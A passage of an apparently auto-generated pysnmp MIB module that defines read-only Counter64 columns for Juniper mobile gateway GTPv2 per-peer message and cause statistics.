MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 63), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPDelBrCmdTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPDelBrCmdTx.setDescription('Number of GTP V2 Delete Bearer Command Sent.') jnxMbgSgwPPDelBrFlrIndRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 64), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPDelBrFlrIndRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPDelBrFlrIndRx.setDescription('Number of GTP V2 Delete Bearer Failure received.') jnxMbgSgwPPDelBrFlrIndTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 65), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPDelBrFlrIndTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPDelBrFlrIndTx.setDescription('Number of GTP V2 Delete Bearer Failure Sent.') jnxMbgSgwPPBrResCmdRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 66), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPBrResCmdRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPBrResCmdRx.setDescription('Number of GTP V2 Bearer Response Command received.') jnxMbgSgwPPBrResCmdTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 67), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPBrResCmdTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPBrResCmdTx.setDescription('Number of GTP V2 Bearer Response Command Sent.') jnxMbgSgwPPBrResFlrIndRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 68), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPBrResFlrIndRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPBrResFlrIndRx.setDescription('Number of GTP V2 Bearer Resource Failure received.') jnxMbgSgwPPBrResFlrIndTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 69), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPBrResFlrIndTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPBrResFlrIndTx.setDescription('Number of GTP V2 Bearer Resource Failure Sent.') jnxMbgSgwPPRelAcsBrReqRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 70), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPRelAcsBrReqRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPRelAcsBrReqRx.setDescription('Number of GTP V2 Release Access Bearer Requests received.') jnxMbgSgwPPRelAcsBrReqTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 71), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPRelAcsBrReqTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPRelAcsBrReqTx.setDescription('Number of GTP V2 Release Access Bearer Requests sent.') jnxMbgSgwPPRelAcsBrRespRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 72), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPRelAcsBrRespRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPRelAcsBrRespRx.setDescription('Number of GTP V2 Release Access Bearer Response received.') jnxMbgSgwPPRelAcsBrRespTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 73), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPRelAcsBrRespTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPRelAcsBrRespTx.setDescription('Number of GTP V2 Release Access Bearer Response sent.') jnxMbgSgwPPCrIndTunReqRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 74), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPCrIndTunReqRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPCrIndTunReqRx.setDescription('Number of GTP V2 Create Indirect Tunnel Forward Request Received') jnxMbgSgwPPCrIndTunReqTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 75), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPCrIndTunReqTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPCrIndTunReqTx.setDescription('Number of GTP V2 Create Indirect Tunnel Forward Request sent') jnxMbgSgwPPCrIndTunRespRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 76), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPCrIndTunRespRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPCrIndTunRespRx.setDescription('Number of GTP V2 Create Indirect Tunnel Forward Response Received') jnxMbgSgwPPCrIndTunRespTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 77), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPCrIndTunRespTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPCrIndTunRespTx.setDescription('Number of GTP V2 Create Indirect Tunnel Forward Response sent') jnxMbgSgwPPDelIndTunReqRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 78), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPDelIndTunReqRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPDelIndTunReqRx.setDescription('Number of GTP V2 Delete Indirect Tunnel Forward Request Received') jnxMbgSgwPPDelIndTunReqTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 79), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPDelIndTunReqTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPDelIndTunReqTx.setDescription('Number of GTP V2 Delete Indirect Tunnel Forward Request sent.') jnxMbgSgwPPDelIndTunRespRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 80), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPDelIndTunRespRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPDelIndTunRespRx.setDescription('Number of GTP V2 Delete Indirect Tunnel Forward Response Received') jnxMbgSgwPPDelIndTunRespTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 81), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPDelIndTunRespTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPDelIndTunRespTx.setDescription('Number of GTP V2 Delete Indirect Tunnel Forward Response sent.') jnxMbgSgwPPDlDataNotifRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 82), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPDlDataNotifRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPDlDataNotifRx.setDescription('Number of GTP V2 Downlink Data Notify received.') jnxMbgSgwPPDlDataNotifTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 83), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPDlDataNotifTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPDlDataNotifTx.setDescription('Number of GTP V2 Downlink Data Notify Sent.') jnxMbgSgwPPDlDataAckRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 84), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPDlDataAckRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPDlDataAckRx.setDescription('Number of GTP V2 Downlink Data Notify Acknowledgement received.') jnxMbgSgwPPDlDataAckTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 85), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPDlDataAckTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPDlDataAckTx.setDescription('Number of GTP V2 Downlink Data Notify Acknowledgement Sent.') jnxMbgSgwPPDlDataNotiFlrIndRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 86), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPDlDataNotiFlrIndRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPDlDataNotiFlrIndRx.setDescription('Number of GTP V2 Downlink Data Notification fail received.') jnxMbgSgwPPDlDataNotiFlrIndTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 87), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPDlDataNotiFlrIndTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPDlDataNotiFlrIndTx.setDescription('Number of GTP V2 Downlink Data Notification fail Sent.') jnxMbgSgwPPStopPagingIndRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 88), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPStopPagingIndRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPStopPagingIndRx.setDescription('Number of GTP V2 Number of Stop Paging Indication Messages Received.') jnxMbgSgwPPStopPagingIndTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 89), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPStopPagingIndTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPStopPagingIndTx.setDescription('Number of GTP V2 Number of Stop Paging Indicaton messages sent') jnxMbgSgwPPGtpV2ICsPageRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 90), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsPageRx.setStatus('obsolete') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsPageRx.setDescription('Number of GTPV2 packets received with cause Page.') jnxMbgSgwPPGtpV2ICsPageTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 91), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsPageTx.setStatus('obsolete') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsPageTx.setDescription('Number of GTP packets sent with cause Page.') jnxMbgSgwPPGtpV2ICsReqAcceptRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 92), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsReqAcceptRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsReqAcceptRx.setDescription('Number of GTPV2 packets received with cause Request Accept.') jnxMbgSgwPPGtpV2ICsReqAcceptTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 93), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsReqAcceptTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsReqAcceptTx.setDescription('Number of GTP packets sent with cause Request Accept.') jnxMbgSgwPPGtpV2ICsAcceptPartRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 94), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsAcceptPartRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsAcceptPartRx.setDescription('Number of GTPV2 packets received with cause Accept Partial.') jnxMbgSgwPPGtpV2ICsAcceptPartTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 95), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsAcceptPartTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsAcceptPartTx.setDescription('Number of GTP packets sent with cause Accept Partial.') jnxMbgSgwPPGtpV2ICsNewPTNPrefRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 96), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsNewPTNPrefRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsNewPTNPrefRx.setDescription('Number of GTPV2 packets received with cause New PDN type due to Network Preference.') jnxMbgSgwPPGtpV2ICsNewPTNPrefTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 97), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsNewPTNPrefTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsNewPTNPrefTx.setDescription('Number of GTP packets sent with cause New PDN type due to Network Preference.') jnxMbgSgwPPGtpV2ICsNPTSIAdbrRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 98), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsNPTSIAdbrRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsNPTSIAdbrRx.setDescription('Number of GTPV2 packets received with cause New PDN type due to Single Address Bearer.') jnxMbgSgwPPGtpV2ICsNPTSIAdbrTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 99), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsNPTSIAdbrTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsNPTSIAdbrTx.setDescription('Number of GTP packets sent with cause New PDN type due to Single Address Bearer.') jnxMbgSgwPPGtpV2ICsCtxNotFndRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 100), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsCtxNotFndRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsCtxNotFndRx.setDescription('Number of GTPV2 packets received with cause Context not found.') jnxMbgSgwPPGtpV2ICsCtxNotFndTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 101), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsCtxNotFndTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsCtxNotFndTx.setDescription('Number of GTP packets sent with cause Context not found.') jnxMbgSgwPPGtpV2ICsInvMsgFmtRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 102), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsInvMsgFmtRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsInvMsgFmtRx.setDescription('Number of GTPV2 packets received with cause Invalid Message Format.') jnxMbgSgwPPGtpV2ICsInvMsgFmtTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 103), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsInvMsgFmtTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsInvMsgFmtTx.setDescription('Number of GTP packets sent with cause Invalid Message Format.') jnxMbgSgwPPGtpV2ICsVerNotSuppRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 104), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsVerNotSuppRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsVerNotSuppRx.setDescription('Number of GTPV2 packets received with cause Version not Supported.') jnxMbgSgwPPGtpV2ICsVerNotSuppTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 105), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsVerNotSuppTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsVerNotSuppTx.setDescription('Number of GTP packets sent with cause Version not Supported.') jnxMbgSgwPPGtpV2ICsInvLenRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 106), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsInvLenRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsInvLenRx.setDescription('Number of GTPV2 packets received with cause Invalid Length.') jnxMbgSgwPPGtpV2ICsInvLenTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 107), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsInvLenTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsInvLenTx.setDescription('Number of GTP packets sent with cause Invalid Length.') jnxMbgSgwPPGtpV2ICsServNotSupRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 108), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsServNotSupRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsServNotSupRx.setDescription('Number of GTPV2 packets received with cause Service Not supported.') jnxMbgSgwPPGtpV2ICsServNotSupTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 109), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsServNotSupTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsServNotSupTx.setDescription('Number of GTP packets sent with cause Service Not supported.') jnxMbgSgwPPGtpV2ICsManIEIncorRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 110), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsManIEIncorRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsManIEIncorRx.setDescription('Number of GTPV2 packets received with cause Mandatory IE incorrect.') jnxMbgSgwPPGtpV2ICsManIEIncorTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 111), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsManIEIncorTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsManIEIncorTx.setDescription('Number of GTP packets sent with cause Mandatory IE incorrect.') jnxMbgSgwPPGtpV2ICsManIEMissRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 112), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsManIEMissRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsManIEMissRx.setDescription('Number of GTPV2 packets received with cause Mandatory IE Missing.') jnxMbgSgwPPGtpV2ICsManIEMissTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 113), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsManIEMissTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsManIEMissTx.setDescription('Number of GTP packets sent with cause Mandatory IE Missing.') jnxMbgSgwPPGtpV2ICsOptIEIncorRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 114), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsOptIEIncorRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsOptIEIncorRx.setDescription('Number of GTPV2 packets received with cause Optional IE Incorrect.') jnxMbgSgwPPGtpV2ICsOptIEIncorTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 115), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsOptIEIncorTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsOptIEIncorTx.setDescription('Number of GTP packets sent with cause Optional IE Incorrect.') jnxMbgSgwPPGtpV2ICsSysFailRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 116), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsSysFailRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsSysFailRx.setDescription('Number of GTPV2 packets received with cause System Failure.') jnxMbgSgwPPGtpV2ICsSysFailTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 117), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsSysFailTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsSysFailTx.setDescription('Number of GTP packets sent with cause System Failure.') jnxMbgSgwPPGtpV2ICsNoResRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 118), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsNoResRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsNoResRx.setDescription('Number of GTPV2 packets received with cause No Resource.') jnxMbgSgwPPGtpV2ICsNoResTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 119), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsNoResTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsNoResTx.setDescription('Number of GTP packets sent with cause No Resource.') jnxMbgSgwPPGtpV2ICsTFTSMANTErRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 120), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsTFTSMANTErRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsTFTSMANTErRx.setDescription('Number of GTPV2 packets received with cause TFT Symantic Error.') jnxMbgSgwPPGtpV2ICsTFTSMANTErTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 121), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsTFTSMANTErTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsTFTSMANTErTx.setDescription('Number of GTP packets sent with cause TFT Symantic Error.') jnxMbgSgwPPGtpV2ICsTFTSysErrRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 122), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsTFTSysErrRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsTFTSysErrRx.setDescription('Number of GTPV2 packets received with cause TFT System Error.') jnxMbgSgwPPGtpV2ICsTFTSysErrTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 123), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsTFTSysErrTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsTFTSysErrTx.setDescription('Number of GTP packets sent with cause TFT System Error.') jnxMbgSgwPPGtpV2ICsPkFltManErRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 124), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsPkFltManErRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsPkFltManErRx.setDescription('Number of GTPV2 packets received with cause Packet Filter Symantic Error.') jnxMbgSgwPPGtpV2ICsPkFltManErTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 125), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsPkFltManErTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsPkFltManErTx.setDescription('Number of GTP packets sent with cause Packet Filter Symantic Error.') jnxMbgSgwPPGtpV2ICsPkFltSynErRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 126), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsPkFltSynErRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsPkFltSynErRx.setDescription('Number of GTPV2 packets received with cause Packet Filter Syntax Error.') jnxMbgSgwPPGtpV2ICsPkFltSynErTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 127), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsPkFltSynErTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsPkFltSynErTx.setDescription('Number of GTP packets sent with cause Packet Filter Syntax Error.') jnxMbgSgwPPGtpV2ICsMisUnknAPNRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 128), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsMisUnknAPNRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsMisUnknAPNRx.setDescription('Number of GTPV2 packets received with cause Unknown APN.') jnxMbgSgwPPGtpV2ICsMisUnknAPNTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 129), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsMisUnknAPNTx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsMisUnknAPNTx.setDescription('Number of GTP packets sent with cause Unknown APN.') jnxMbgSgwPPGtpV2ICsUnexpRptIERx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 130), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsUnexpRptIERx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsUnexpRptIERx.setDescription('Number of GTPV2 packets received with cause Unexpected Repeated IE.') jnxMbgSgwPPGtpV2ICsUnexpRptIETx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 131), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsUnexpRptIETx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsUnexpRptIETx.setDescription('Number of GTP packets sent with cause Unexpected Repeated IE.') jnxMbgSgwPPGtpV2ICsGREKeyNtFdRx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 132), Counter64()).setMaxAccess("readonly") if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsGREKeyNtFdRx.setStatus('current') if mibBuilder.loadTexts: jnxMbgSgwPPGtpV2ICsGREKeyNtFdRx.setDescription('Number of GTPV2 packets received with cause GRE Key Not Found.') jnxMbgSgwPPGtpV2ICsGREKeyNtFdTx = MibTableColumn((1, 3, 6, 1, 4, 1, 2636, 3, 66, 2, 2, 1, 1, 1, 133), 